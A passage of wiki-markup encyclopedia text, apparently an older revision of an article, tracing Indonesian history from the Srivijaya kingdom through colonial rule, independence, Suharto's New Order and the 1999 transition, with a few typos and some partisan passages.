Srivijaya (-''sri'' meaning glitters or radiant, -''jaya'' meaning success or excellence) was an ancient [[Malay states|Malay]] kingdom on the island of [[Sumatra]] which influenced much of the [[Malay Archipelago]]. Records of its beginning are scarce, and estimates are from the [[200s]] C.E. to the [[500s]] C.E. It ceased to exist around the year [[1400]].

Around [[500]] the roots of Srivijaya developed around present-day Palembang, and around the year [[600]] Chinese records mention two kingdoms on Sumatra based at [[Jambi]] and [[Palembang]], as well as three kingdoms on Java.

Srivijaya was centered in the coastal trading center of present day Palembang. The empire was a [[thalassocracy]] and did not extend its influence far beyond the coastal areas of the islands of [[Southeast Asia]]. Srivijaya was organised in three main zones — the estuarine capital region centred on Palembang, the [[Musi River, Indonesia|Musi River]] basin which served as hinterland, and rival esturarine zones capable of formng rival power centres. The capital zone was administered directly by the ruler. The hinterland zone remained under its own local [[datu]]s or [[chief]]s who were organized into a network of [[allegiance]] to the maharaja. Force was the dominant element in the empire's relations with rival river systems such as the [[Batang Hari]] river basin centred on Jambi. The ruling [[lineage]] intermarried with and allied with the [[Sailendra]]s of Central Java.

Although historical records and archaeological evidence are scarce, it appears that by the seventh century, Srivijaya established suzerainty over large areas of [[Sumatra]], western [[Java (island)|Java]], and much of the [[Malay Peninsula]]. Dominating the [[Strait of Malacca|Malacca]] and [[Sunda Strait|Sunda]] [[straits]], Srivijaya controlled both the [[Spice Route]] traffic and local trade, charging a toll on passing ships, and remained a formidable sea power until the thirteenth century. This spread the [[Malay people|Malay]] culture throughout Sumatra, the Malay Peninsula, and western [[Borneo]]. 

A stronghold of [[Vajrayana]] [[Buddhism]], Srivijaya attracted pilgrims and scholars from other parts of Asia. These included the Chinese monk [[Yijing]], who made several lengthy visits to Sumatra on his way to study at Nalanda in India in 671 and 695, and the eleventh-century Buddhist scholar [[Atisha]], who played a major role in the development of Vajrayana Buddhism in [[Tibet]]. Travellers to these islands mentioned that [[gold]] coinage was in use on the coasts, but not inland.

In [[1068]], [[Rajendra Chola|Virarajendra]], the [[Chola]] king of [[Tamil Nadu]], conquered [[Kedah]] from [[Srivijaya]]. The Cholas continued a series of raids and conquests throughout what is now [[Indonesia]] and [[Malaysia]] for the next 20 years. Although the Chola invasion was ultimately unsuccessful, it gravely weakened the Srivijayan hegemony and enabled the formation of regional kingdoms based, like Kediri, on intensive agriculture rather than coastal and long distance trade.

Srivijaya influence waned by the 11th century. The island was in frequent conflict with the [[Java (island)|Javanese]] kingdoms, first [[Singhasari]] and then [[Majapahit]]. [[Islam]] eventually made its way to the [[Aceh]] region of Sumatra, spreading its influence through contacts with [[Arab]]s and [[India|Indian]] traders. By the late 13th century, the kingdom of [[Pasai]] (in northern Sumatra) converted to Islam. At the same time Srivijaya was briefly a [[tributary]] of the [[Khmer empire]] and later the [[Sukhothai kingdom]]. The last inscription dates to 1374, in a crown prince, Ananggavarman, is mentioned. 

By [[1414]] [[Parameswara]], the last prince of Srivijaya converted to [[Islam]], and founded the [[Sultanate of Malacca]] on the [[Malay peninsula]].

===Singhasari and the Majapahit Empire===
''For full coverage, see [[Singhasari]] and [[Majapahit Empire]]''

Two empires would originate in Eastern Java, and would drive Srivijaya and assume its territory: the Singhasari and the Majapahit. Singhasari was a [[monarchy|kingdom]] located in east [[Java (island)|Java]] between [[1222]] and [[1292]]. The Majapahit Empire would emerge later, and ruled much of the southern [[Malay Peninsula]], [[Borneo]], [[Sumatra]], and [[Bali]] from about [[1293]] to around [[1500]]. 

The founder of the Majapahit Empire, [[Kertarajasa]], was the son-in-law of the ruler of the [[Singhasari]] kingdom, also based in Java.  After Singhasari drove Srivijaya out of Java altogether in 1290, the rising power of Singhasari came to the attention of [[Kublai Khan]] in [[China]] and he sent emissaries demanding tribute. [[Kertanagara]], ruler of the Singhasari kingdom, refused to pay tribute and the Khan sent a punitive expedition which arrived off the coast of Java in [[1293]].

By that time, a rebel from [[Kediri]], [[Jayakatwang]], had killed Kertanagara.  The Majapahit founder allied himself with the [[Mongols]] against Jayakatwang and, once the Singhasari kingdom was destroyed, turned and forced his Mongol allies to withdraw in confusion. 

[[Gajah Mada]], an ambitious Majapahit prime minister and regent from [[1331]] to [[1364]], extended the empire's rule to the surrounding islands. A few years after Gajah Madah's death, the Majapahit navy captured Palembang, putting an end to the Srivijayan kingdom.

Although the Majapahit rulers extended their power over other islands and destroyed neighboring kingdoms, their focus seems to have been on controlling and gaining a larger share of the commercial trade that passed through the archipelago. About the time Majapahit was founded, [[Muslim]] traders and [[proselytize]]rs began entering the area.

After peaking the [[14th century|1300s]], Majapahit power began to decline with a war over succession that started in [[1401]] and went on for four years. Majapahit found itself unable to control the rising power of the [[Sultanate of Malacca]]. Dates for the end of the Majapahit Empire range from [[1478]] to [[1520]].  A large number of courtiers, artisans, priests, and members of the royalty moved east to the island of [[Bali]] at the end of Majapahit's existence.

[[Islam]] arrived in Indonesia sometime during the [[12th century]] and, through assimilation, supplanted Hinduism by the end of the [[16th century]] in Java and Sumatra. Only [[Bali]] retained a Hindu majority. In the eastern archipelago, both [[Christianity|Christian]] and Islamic missionaries were active in the 16th and 17th centuries, and, currently, there are large communities of both religions on these islands. The spread of Islam was driven by increasing trade links outside of the archipelago; in general, traders and the royalty of major kingdoms were the first to adopt the new religion. Dominant kingdoms included [[Mataram]] in [[Central Java]], and the sultanates of [[Ternate]] and [[Tidore]] in the [[Maluku Islands]] to the east.

===Sultanate of Mataram===
''For full coverage of this topic, see [[Sultanate of Mataram]]''

According to Javanese records, Kyai [[Gedhe Pamanahan of Mataram|Gedhe Pamanahan]] became the ruler of the Mataram area some time within the in the [[1570s]] with the support of the kingdom of [[Pajang]] to the east, near the current site of [[Surakarta]] (Solo). Pamanahan was often referred to as Kyai Gedhe Mataram after his ascension.

Pamanahan's son, Panembahan [[Senapati Ingalaga of Mataram|Senapati Ingalaga]], replaced his father on the throne around [[1584]]. Under Senapati the kingdom grew substantially through regular military campaigns against Mataram's neighbors. Shortly after his accession, for example, he conquered his father's patrons in Pajang.

The reign of Panembahan [[Seda ing Krapyak of Mataram|Seda ing Krapyak]] (''circa'' [[1601]]-[[1613]]), the son of Senapati, was dominated by further warfare, especially against powerful [[Surabaya]], already a major center in East Java.  The first contact between Mataram and the [[Dutch East India Company]] (VOC) occurred under Krapyak. Dutch activities at the time were limited to trading from limited coastal settlements, so their interactions with the inland Mataram kingdom were limited, although they did form an alliance against Surabaya in [[1613]]. Krapyak died that year.

Krapyak was succeeded by his son, who is known simply as [[Sultan Agung of Mataram| Sultan Agung]] (&quot;Great [[Sultan]]&quot;) in Javanese records. Agung was responsible for the great expansion and lasting historical legacy of Mataram due to the extensive military conquests of his long reign from [[1613]] to [[1646]]. 

After years of war Agung finally conquered Surabaya.  The city was taken not through outright military invasion, but instead because Agung surrounded it on land and sea, starving it into submission. With Surabaya brought into the empire, the Mataram kingdom encompassed all of central and eastern Java, and [[Madura]]; only in the west did [[Banten]] and the Dutch settlement in [[Jakarta|Batavia]] remain outside Agung's control.  He tried repeatedly in the 1620s and 1630s to drive the Dutch from Batavia, but his armies had met their match, and he was forced to share control over Java.

In [[1645]] he began building [[Imogiri]], his burial place, about fifteen kilometers south of Yogyakarta.  Imogiri remains the resting place of most of the royalty of Yogyakarta and Surakarta to this day. Agung died in the spring of [[1646]], with his image of royal invincibility shattered by his losses to the Dutch, but he did leave behind an empire that covered most of Java and stretched to its neighboring islands.

Upon taking the throne, Agung's son Susuhunan [[Amangkurat I of Mataram|Amangkurat I]] tried to bring long-term stability to Mataram's realm, murdering local leaders that were insufficiently deferential to him, and closing ports so he alone had control over trade with the Dutch.

By the mid-1670s dissatisfaction with the king fanned into open revolt, beginning at the margins and creeping inward. [[Raden Trunajaya]], a prince from Madura, lead a revolt fortified by itinerant fighters from faraway [[Makassar]] that captured the king's court at Mataram in mid-[[1677]]. The king escaped to the north coast with his eldest son, the future king [[Amangkurat II of Mataram|Amangkurat II]], leaving his younger son Pangeran Puger in Mataram. Apparently more interested in profit and revenge than in running a struggling empire, the rebel Trunajaya looted the court and withdrew to his stronghold in East Java leaving Puger in control of a weak court.

Amangkurat I died just after his expulsion, making Amangkurat II king in 1677. He too was nearly helpless, though, having fled without an army or treasury to build one. In an attempt to regain his kingdom, he made substantial concessions to the Dutch, who then went to war to reinstate him. For the Dutch, a stable Mataram empire that was deeply indebted to them would help ensure continued trade on favorable terms. They were willing to lend their military might to keep the kingdom together. Dutch forces first captured Trunajaya, then forced Puger to recognize the sovereignty of his elder brother Amangkurat II.

==Colonial era==
Beginning in [[1602]] the [[Netherlands|Dutch]] gradually established themselves as rulers of what is now Indonesia, exploiting the fractionalization of the small kingdoms that had replaced Majapahit. The most notable exception was [[Portuguese Timor]], which remained under [[Portugal|Portuguese]] rule until [[1975]] when it was invaded and occupied, becoming the Indonesia province of [[East Timor]]. The Netherlands controlled Indonesia for almost 350 years, excluding a short period of [[British Empire|British]] rule in part of the islands after the [[Anglo-Dutch Java War]] and the period of Japanese occupation during World War II. During their rule the Dutch developed the [[Dutch East Indies]] into one of the world's richest colonial possessions.

===Dutch East-India Company===
[[Image:Voc logo.gif|thumb|right|100px|The logo of the Amsterdam Chamber of the Dutch East-India Company (VOC)]]In the 17th and 18th centuries the Dutch East Indies were not controlled directly by the Dutch government, but by a joint-stock trading company, the [[Dutch East India Company]] (in Dutch: ''Verenigde Oostindische Compagnie'' or VOC). The VOC had been awarded a monopoly on trade and colonial activities in the region by the Dutch parliament in [[1602]], but had no territory of its own in Java. In 1619, the Company conquered the Javanese city of Jayakarta, burned it to the ground and then founded the city of Batavia (present-day [[Jakarta]]), modelling it on Amsterdam.

A primary aim of the VOC was the maintenance of its [[monopoly]] of the [[spice trade]] in the archipelago. It did this through the use and threatened use of violence against the peoples of the spice-producing islands, and against non-Dutch outsiders who attempted to trade with them. For example, when the people of the [[Banda Islands]] continued to sell [[nutmeg]] to English merchants, the Dutch killed or deported virtually the entire population and repopulated the islands with VOC indentured servants and slaves who worked in the nutmeg groves.

The VOC became deeply involved in the internal politics of [[Java (island)|Java]] in this period, and fought in a number of wars involving the leaders of [[Mataram]] and [[Banten]] (Bantam).

===Dutch state rule===
After the VOC went bankrupt at the end of the 18th century and after a short British rule under [[Thomas Stamford Raffles]], the Dutch state took over the VOC possessions in [[1816]]. A Javanese uprising was crushed in the [[Java War]] of [[1825]]-[[1830]]. After 1830 a system of forced cultivations was introduced on Java, the [[Cultivation System]] (in Dutch: ''cultuurstelsel''). This system brought the Dutch and their Indonesian collaborators enormous wealth. The cultivation system was a government monopoly and was abolished in a more liberal period after [[1870]].

In [[1901]] the Dutch adopted what they called the [[Ethical Policy]], which included somewhat increased investment in indigenous education, and modest political reforms. Under governor-general [[J.B. van Heutsz]] the government extended more direct colonial rule throughout the Dutch East Indies, thereby laying the foundations of today's Indonesian state.

===Early nationalist groups===
In [[1908]] the first nationalist movement was formed, [[Budi Utomo]], followed in 1912 by the first nationalist mass movement, [[Sarekat Islam]]. The Dutch responded after the First World War with repressive measures. The nationalist leaders came from a small group of young professionals and students, some of whom had been educated in the Netherlands. Many, including Indonesia's first president, [[Sukarno]] ([[1901]]-[[1970|70]]), were imprisoned for political activities.

In [[1914]] exiled Dutch socialist [[Henk Sneevliet]] founded the [[Indies Social Democratic Association]]. Initially a small forum of Dutch socialists, it would later evolve into the [[Communist Party of Indonesia]].

===World War II===
[[Image:Soekarno Indonesia.jpg |thumb|175px|Sukarno, leader of the Indonesian Nationalists, and first president of Indonesia]]In May [[1940]], early in [[World War II]], the Netherlands was occupied by [[Nazi]] [[Germany]]. The Dutch East Indies declared a state of siege and in July redirected exports for Japan to the US and Britain. Negotiations with the Japanese aimed at securing supplies of aviation fuel collapsed in June 1941, and the Japanese started their conquest of Southeast Asia in December of that year. That same month, factions from Sumatra sought Japanese assistance for a revolt against the Dutch wartime government. The last Dutch forces were defeated by Japan in March 1942.

===Japanese occupation===
In July 1942, [[Sukarno]] accepted Japan's offer to  rally the public in support of the Japanese war effort. [[Sukarno]] and [[Mohammad Hatta]] were decorated by the Emperor of Japan in 1943. However, experience of the Japanese occupation of Indonesia varied considerably, depending upon where one lived and one's social position. Many who lived in areas considered important to the war effort experienced [[torture]], [[sex slavery]], arbitrary arrest and execution, and other [[war crimes]]. Thousands taken away from Indonesia as war labourers (romusha) suffered or died as a result of ill-treatment and stravation. People of Dutch and mixed Dutch-Indonesian descent were particular targets of the Japanese occupation.

In March 1945 Japan organized an Indonesian committee (BPUPKI) on independence. At its first meeting in May, Supomo spoke of national integration and against personal individualism; while Muhammad Yamin suggested that the new nation should claim [[Sarawak]], [[Sabah]], [[Malaya]], Portuguese Timor, and all the pre-war territories of the Dutch East Indies. The committee drafted the 1945 Constitution, which remains in force, though now much amended.

On [[9 August]] [[1945]] Sukarno, Hatta, and Radjiman Wediodiningrat were flown to meet [[Marshal Terauchi]] in [[Vietnam]]. They were told that Japan intended to announce Indonesian independence on [[24 August]]. After the Japanese surrender however, Sukarno unilaterally proclaimed independence on [[17 August]].

===Nationalist Revolution===
''For full coverage, see [[Indonesian National Revolution]]''

Informed that Japan no longer had the power to such make decisions on [[16 August]], Sukarno read out a brief unilateral &quot;Proklamasi&quot; (Declaration of Independence) on the following day. Word of the proclamation spread by shortwave and flyers while the Indonesian war-time military (PETA), youths, and others rallied in support of the new republic, fotne mving to take over govenrment offices from  the Japanese.

On [[29 August]], [[1945]] the group appointed Sukarno as President and [[Mohammad Hatta]] as [[Vice-President]] using the constitution drafted by the BPUPKI. The BPUPKI was renamed the KNIP (Central Indonesian National Committee) and became a temporary governing body until elections could be held. This group declared the new government on [[31 August]] and determined that the new Republic of Indonesia would cover all the territory of the Dutch East Indies, and would consist of 8 provinces: Sumatra, Borneo, West Java, Central Java, East Java, Sulawesi, Maluku, and Sunda Kecil.

From [[1945]] to [[1949]] the Australian maritime unions in sympathy with an independence effort, enforced a total ban on all Dutch shipping throughout the long conflict, to deny Dutch authorities access to the shipping, supplies and logistical support required to re-establish colonial control.

Dutch efforts to reestablish complete control met resistance. At the war's end, a power vacuum arose, and the nationalists often succeeded in seizing the arms of the demoralised Japanese. A period of unrest with city guerrilla warfare called the [[Bersiap]] period ensued. Groups of Indonesian nationalists armed with improvised weapons (like bamboo spears) but also firearms attacked returning Allied troops.3500 Europeans were killed and 20000 were missing, meaning more European deaths in Indonesia after the war than during the war. After returning to Java, Dutch forces quickly re-occupied the colonial capital of Batavia (now [[Jakarta]]), so the city of [[Yogyakarta]] in central Java became the  capital of the nationalist forces. Negotiations with the nationalists led to two major truce agreements, but disputes about their implementation, and much mutual provocation, led each time to renewed conflict. Within four years the Dutch had recaptured almost the whole of Indonesia, but guerilla resistance persisted. On [[27 December]], [[1949]], after four years of sporadic warfare and fierce criticism of the Dutch by the [[United Nations]], Queen [[Juliana of the Netherlands]] transferred sovereignty to a federal Indonesian Government. In 1950, Indonesia became the 60th member of the [[United Nations]] .

==Independence era==
[[Image:Indonesiacoatofarms.jpg|thumb|Coat of Arms of the Republic of Indonesia, adopted [[1950]].]] Shortly after hostilities with the Dutch ended in 1949, Indonesia adopted a new constitution providing for a parliamentary system of government in which the executive was chosen by and made responsible to parliament. Parliament was divided among many political parties before and after the country's first nationwide election in 1955, and stable governmental coalitions were difficult to achieve. 

The role of Islam in Indonesia became a divisive issue. Sukarno defended a secular state based on [[Pancasila Indonesia|Pancasila]] while some Muslim groups preferred either an Islamic state or a constitution that included preambular provision requiring adherents of Islam to be subject to Islamic law.

Unsuccessful rebellions on Sumatra, [[Sulawesi]], West Java, and other islands beginning in 1958, plus a failure by the [[Constituent Assembly|constituent assembly]] to develop a new constitution, weakened the parliamentary system. Consequently, in 1959, when President [[Sukarno]] unilaterally revived the provisional 1945 constitution, which gave broad presidential powers, he met little resistance.

===Guided Democracy===
From 1959 to 1965, President Sukarno imposed an authoritarian regime under the label of &quot;Guided Democracy.&quot; He also moved Indonesia's foreign policy toward nonalignment, a foreign policy stance supported by other prominent leaders of former colonies who rejected formal alliances with either the Western or [[Soviet Union|Soviet]] blocs. Under Sukarno's auspices, these leaders gathered in [[Bandung Conference|Bandung]], West Java, 1955, to lay the groundwork for what became known as the [[Non-Aligned Movement]]. In the late 1950s and early 1960s, President Sukarno moved closer to Asian communist states and toward the [[Communist Party of Indonesia]] (PKI) in domestic affairs. Though the PKI represented the largest communist party outside the [[Soviet Union]] and [[China]], its mass support base never demonstrated an ideological adherence typical of communist parties in other countries.

===West Irian question===
At the time of independence, the Dutch retained control over the western half of [[New Guinea]], and permitted steps toward their own self-government and declaration of independence [[December 1]], [[1961]]. 

After negotiations with the Dutch on the incorporation of the territory into Indonesia failed, an Indonesian paratroop invasion [[December 18]] preceded armed clashes between Indonesian and Dutch troops in [[1961]] and [[1962]]. In [[1962]] the United States pressured the Netherlands into secret talks with Indonesia which in August 1962 produced the [[New York Agreement]], and Indonesia assumed administrative responsibility for West Irian on [[May 1]], [[1963]].

===Indonesia-Malaysia confrontation===
''For full coverage, see [[Indonesia-Malaysia confrontation]]''

In [[1961]], the island of Borneo was divided into four separate [[state]]s: [[Kalimantan]], an Indonesian [[province]], was located in the south of the island. In the north were the [[monarchy|sultanate]] of [[Brunei]] (a [[United Kingdom|British]] [[protectorate]]) and two British [[colony|colonies]] &amp;mdash; [[Sarawak]] and [[British North Borneo]] (which was later renamed [[Sabah]]). As a part of its withdrawal from its [[Southeast Asia]]n colonies, the UK moved to combine its colonies on Borneo with those on peninsular Malaya, to form [[Malaysia]].

In Brunei, the Indonesian-backed North Kalimantan National Army (TKNU) revolted on [[December 8]] [[1962]]. They tried to capture the [[Sultan of Brunei]], seize the oil fields and take European hostages. The Sultan escaped and asked for British help.  He received British and [[Gurkha]] troops from [[Singapore]]. On [[December 16]], British Far Eastern Command claimed that all major rebel centers had been occupied, and on [[April 17]] [[1963]], the rebel commander was captured and the rebellion ended.

The Philippines and Indonesia formally agreed to accept the formation of Malaysia if a majority in the disputed region voted for it in a referendum organized by the [[United Nations]]. However, on [[September 16]], before the results of the vote were reported, the Malaysian government announced that the federation would be created, depicting the decision as an internal matter, with no need for consultation. The Indonesian government saw this as a broken promise and as evidence of British imperialism.

On [[January 20]], [[1963]], Indonesian Foreign Minister [[Subandrio]] announced that Indonesia would pursue a policy of ''Konfrontasi'' with Malaysia. On [[April 12]], Indonesian volunteers &amp;mdash; allegedly [[Indonesian Army]] personnel &amp;mdash; began to infiltrate Sarawak and Sabah, to engage in raids and sabotage, and spread propaganda. On [[July 27]], Sukarno declared that he was going to &quot;crush Malaysia&quot; or in Indonesian ''&quot;Ganyang Malaysia&quot;''.

Tensions rose on both sides of the [[Strait of Malacca|Straits of Malacca]]. Two days later rioters burned the British embassy in [[Jakarta]]. Several hundred rioters sacked the Singapore embassy in Jakarta and the homes of Singaporean diplomats. In Malaysia, Indonesian agents were captured and crowds attacked the Indonesian embassy in [[Kuala Lumpur]].

When the United Nations accepted Malaysia as a nonpermanent member, Sukarno [[withdrawal from the United Nations|withdrew Indonesia from the UN]] and attempted to form the [[Conference of New Emerging Forces]] ('''Conefo''') as an alternative.

In mid-[[1965]], the Indonesian government began to openly use Indonesian army forces. On [[June 28]], they crossed the border into eastern [[Sebatik Island]] near [[Tawau]], Sabah, and clashed with defenders. The outbreak of an all-out war would only be stopped by the outbreak of civil war in Indonesia.

===Civil War===
''For more details on this topic, see [[Indonesian Civil War]]''

By late [[1965]], the Indonesian Army had fragmented into left-wing and right-wing camps. The former were allied with the [[Communist Party of Indonesia]] (PKI), which also controlled many of the mass civic and cultural organizations that Sukarno had established to mobilize support for his regime. The latter were courted from abroad by the United States, which trained a number of Army officers and which formed a number of think-tanks. After gaining Sukarno's acquiescence, the PKI began to arm groups of peasants in order to combat the growing power of right-wing military commands in the countryside. Army leaders objected to this campaign. 

On [[September 30]], [[1965]] six senior generals within the military and several other officers were murdered by palace guards, alleged to be loyal to the PKI. The guards claimed they were attempting to stop an attempt by the generals to assassinate President Sukarno. After panic spread throughout Indonesia about a  communist coup attempt, Major General [[Suharto]], the commander of the Army Strategic Reserve (Kostrad), organized an offensive under the justification of crushing this alleged rebellion. The army is believed killed tens of thousands of alleged communists in rural areas. The number of those murdered by 1966 was at least 500,000. The violence was especially brutal in Java and Bali.

Seeing the nationalist Sukarno as a threat to their interests, the West was keen to exploit the situation to its advantage. Suharto's portrayal of events as 'communist carnage' was the official version promoted in the West. Christopher Koch's popular novel ''[[The Year of Living Dangerously]]'' later helped cement this view. Yet a large body of evidence has since emerged that the killings were encouraged by the US and UK governments. According to a CIA memo, Prime Minister [[Harold Macmillan]] and President [[John F. Kennedy]] had agreed to &quot;liquidate President Sukarno, depending on the situation and available opportunities&quot;. In 1990 the American journalist Kathy Kadane revealed the extent of the secret American support of some of the massacres of 1965-66 that allowed Suharto to seize the Presidency. She interviewed many former US officials and CIA members, who spoke of compiled lists of PKI operatives, which the Americans ticked off as the victims were killed or captured. They worked closely with the British who were keen to protect their interests in Malaysia. Sir Andrew Gilchrist cabled the Foreign Office in London saying: &quot;&amp;hellip;a little shooting in Indonesia would be an essential preliminary to effective change&quot;. The PKI had won some popular support from the poor, it was this popularity, rather than any armed insurgency that alarmed the American government. Like Vietnam in the North, Indonesia might 'go communist'.

Throughout the 1965-66 period, President Sukarno attempted to restore his political position and shift the country back to its pre-October 1965 position. Although he remained president, in March 1966, Sukarno had to transfer key political and military powers to General Suharto, who by that time had become head of the armed forces. In March 1967, the Provisional People's Consultative Assembly (MPRS) named General Suharto acting president. Sukarno ceased to be a political force and lived under virtual house arrest until his death in 1970.

==New Order era==
''For more details on this topic, see [[New Order (Indonesia)]]''

In 1968, the People's Consultative Assembly (MPR) formally selected Suharto to a full 5-year term as president, and he was re-elected to successive 5-year terms in 1973, 1978, 1983, 1988, 1993, and 1998. President Suharto proclaimed a &quot;New Order&quot; in Indonesian politics and dramatically shifted foreign and domestic policies away from the course set in Sukarno's final years. 

The New Order established economic rehabilitation and development as its primary goals and pursued its policies through an administrative structure dominated by the military but with advice from Western-educated economic experts. During his term, these policies, and heavy exploitation of Indonesia's natural resources, produced substantial, if uneven, economic growth in the country. For example, [[hunger]] was greatly reduced in the country during the 1970s and 1980s. He also enriched himself, his family, and close associates through widespread corruption.

===Act of Free Choice===
Rejecting [[United Nations]] supervision, the Indonesian government under Suharto decided to settle the question of West Irian, the former Dutch New Guinea, in their favor. Rather than a referendum of all residents of West Irian as had been agreed under Sukarno, an &quot;Act of Free Choice&quot; was conducted 1969 in which 1,025 Papuan representatives of local councils were selected by the Indonesians. After training in [[Indonesian language]] they were warned to vote in favor of Indonesian integration. The group unanimously voted to in just this manner. A subsequent UN General Assembly resolution confirmed the transfer of sovereignty to Indonesia.

West Irian was renamed [[Irian Jaya]] ('glorious Irian') in [[1973]]. Opposition to Indonesian administration of Irian Jaya (later known as [[Papua (Indonesian province)|Papua]]) gave rise to small-scale guerrilla activity in the years following Jakarta's assumption of control.

===Annexation of [[East Timor]]===
''For full coverage, see [[History of East Timor]]''

In [[1975]], the [[Carnation Revolution]] in Portugal caused authorities there to announce plans for decolonisation of [[Portuguese Timor]], the eastern half of the island of [[Timor]] whose western half was a part of the Indonesian province of [[East Nusa Tenggara]]. In the elections held in 1975, [[Fretilin]], a left-leaning party and [[UDT]], aligned with the local elite, emerged as the largest parties, having previously formed an alliance to campaign for independence from Portugal. Apodeti, a party advocating integration with Indonesia, enjoyed little popular support. 

Indonesia alleged that Fretilin was [[communist]], and feared that an independent East Timor would influence separatism in the archipelago. Indonesian military intelligence influenced the break-up of the alliance between Fretilin and UDT, which led to a coup by the UDT on [[August 11]], [[1975]], and a month-long civil war. During this time, the Portuguese government effectively abandoned the territory, and did not resume the decolonisation process. On [[November 28]], Fretilin [[unilateral declaration of independence|unilaterally declared independence]], and proclaimed the 'Democratic Republic of East Timor'. Nine days later, on [[December 7]], Indonesia invaded East Timor, eventually annexing the tiny country of (then) 680,000 people. Indonesia was supported materially and diplomatically by the United States, Australia and the United Kingdom who regarded Indonesia as an anti-communist ally. 

===Transmigration===
''For full coverage, see [[Transmigration program]]''

Under Suharto, development and modernisation of Indonesian urban centers, as well as rising living standards caused urban population density to rise dramatically, as rural peoples migrated to the cities in search of jobs. To counteract this, Suharto sanctioned [[transmigration program]]s, moving people from the islands of [[Java (island)|Java]], [[Bali]], and [[Madura]] to areas including [[Papua (Indonesian province)|Papua]], [[Kalimantan]], [[Sumatra]], and [[Sulawesi]].

At its peak between 1979 and 1984, 535,000 families, or almost 2.5 million people, moved under the transmigration program. It had had a major impact on the demographics of some areas; for example, in 1981 sixty percent of the three million people in the southern Sumatra province of [[Lampung]] were transmigrants. The [[World Bank]], [[Asian Development Bank]] and bilateral donors funded the program with huge sums of money in the 1980s.

The stated purpose of the program was to reduce poverty and crowding on Java, provide opportunities for hard-working poor people, and to provide a workforce to better utilize the natural resources of the outer islands. The program coincided with efforts to further unify the country through the creation of a single 'Indonesian' identity to augment or replace regional identities.

Critics of these program accused the government of Indonesia of trying to use these migrants to replace native populations, and to weaken [[separatist]] movements. The program became a subject of considerable controversy and conflict, including violence between settlers and [[indigenous]] populations.

In August [[2000]], after the [[Asian financial crisis]] and the fall of the Suharto government, the Indonesian government officially cancelled the large-scale transmigration program, funding no longer being available to underwrite it.

===Pro-democracy movement===
In [[1996]] Suharto undertook efforts to pre-empt a challenge to the New Order government. The [[Indonesian Democratic Party]] (PDI), a legal party that had traditionally propped up the regime had changed direction, and began to assert its independence. Suharto fostered a split over the leadership of PDI, backing a co-opted faction loyal to deputy speaker of Parliament [[Suryadi]] against a faction loyal to [[Megawati Sukarnoputri]], the daughter of [[Sukarno]] and PDI's proper chairperson.

After the Suryadi faction announced a party congress to sack Megawati would be held in [[Medan]] [[June 20]] - [[June 22 |22]], Megawati proclaimed that her supporters would hold demonstrations in protest. The Suryadi faction went through with its sacking of Megawati, and the demonstrations manifested themselves throughout Indonesia. This lead to several confrontations on the streets between protesters and security forces, and recriminations over the violence. The protests culminated in the military allowing Megawati's supporters to take over PDI headquarters in Jakarta, with a pledge of no further demonstrations.

Suharto allowed the occupation of PDI headquarters to go on for almost a month, as attentions were also on [[Jakarta]] due to a set of high-profile [[ASEAN]] meetings scheduled to take place there. Capitalizing on this, Megawati supporters organized &quot;democracy forums&quot; with several speakers at the site. On [[July 26]], officers of the military, Suryadi, and Suharto openly aired their disgust with the forums. (Aspinall 1996)

On [[July 27]], police, soldiers, and persons claiming to be Suryadi supporters stormed the headquarters. Several Megawati supporters were killed, and over two-hundred arrested and tried under the Anti-Subversion and Hate-spreading laws. The day would become known as &quot;Black Saturday&quot; and mark the beginning of  a renewed crackdown by the New Order government against supporters of democracy, now called the &quot;Reformasi&quot; or Reformation. (Amnesty International 1996)

===Fiscal crisis===
In [[1997]] [[Asian financial crisis]] had dire consequences for the Indonesian economy and society, and Suharto's regime. The [[rupiah]], the Indonesian [[currency]], took a sharp dive in value. Suharto came under scrutiny from international lending institutions, chiefly the [[World Bank]], [[International Monetary Fund]] (IMF) and the [[United States]], over longtime embezzlement of funds and some [[protectionist]] policies. In December, Suharto's government signed a letter of intent to the IMF, pledging to enact [[austerity]] measures, including cuts to public services and removal of [[subsidies]], in return for receiving the aid of the IMF and other donors.

[[Image:Suharto resigns.jpg|thumb|250px|Suharto resigned, handed over presidency to [[Jusuf Habibie]] on [[21 May]] [[1998]].]]
Beginning early [[1998]], the [[austerity]] measures approved by Suharto had started to erode domestic confidence in the regime. Prices for goods such as kerosene and rice, and fees for public services including education rose dramatically. The effects were exacerbated by widespread corruption. 

Suharto stood for reelection by [[parliament]] for the seventh time in [[1998|March 1998]], justifying it on the grounds of the necessity of his leadership during the crisis. The parliament approved a new term. This sparked protests and riots  throughout the country, now termed the [[Indonesian 1998 Revolution]]. Dissent within the ranks of his own [[Golkar]] party and military finally weakened Suharto, and on [[May 21]] he stood down from power. He was replaced by his deputy [[Jusuf Habibie]].

==Reformation era==
President Habibie quickly assembled a cabinet. One of its main tasks was to reestablish [[International Monetary Fund]] and donor community support for an economic stabilization program. He moved quickly to release political prisoners and lift some controls on freedom of speech and association. 

Elections for the national, provincial, and sub-provincial parliaments were held on [[June 7]], [[1999]]. For the national parliament, [[Indonesian Democratic Party-Struggle]] (PDI-P, led by Sukarno's daughter [[Megawati Sukarnoputri]]) won 34% of the vote; [[Golkar]] (Suharto's party; formerly the only legal party of government) 22%; [[United Development Party]] (PPP, led by [[Hamzah Haz]]) 12%; and [[National Awakening Party]] (PKB, led by [[Abdurrahman Wahid]]) 10%. 

===East Timorese Independence===
''For full coverage, see [[History of East Timor]]''

On [[August 30]], [[1999]], the people of East Timor voted overwhelmingly for independence in a UN-conducted popular consultation. About 99% of the eligible population participated; more than three quarters chose independence despite months of attacks by the Indonesian military and its militia. After the result was announced, the Indonesian military and its militia retaliated by murdering some 2,000 East Timorese, displacing two-thirds of the population, raping hundreds of women and girls, and destroying much of the country's infrastructure. 

In October 1999, the Indonesian parliament (MPR) revoked the decree that annexed East Timor, and the [[United Nations Transitional Administration in East Timor]]  (UNTAET) assumed responsibility for governing East Timor until it officially became an independent state in [[May 2002]].

===Wahid administration===
In October [[1999]], the People's Consultative Assembly (MPR), which consists of the 500-member Parliament plus 200 appointed members, elected [[Abdurrahman Wahid]] (commonly referred to as &quot;Gus Dur&quot;) as President, and Megawati Sukarnoputri as Vice President, for 5-year terms. Wahid named his first Cabinet in early November 1999 and a reshuffled, second Cabinet in August [[2000]].

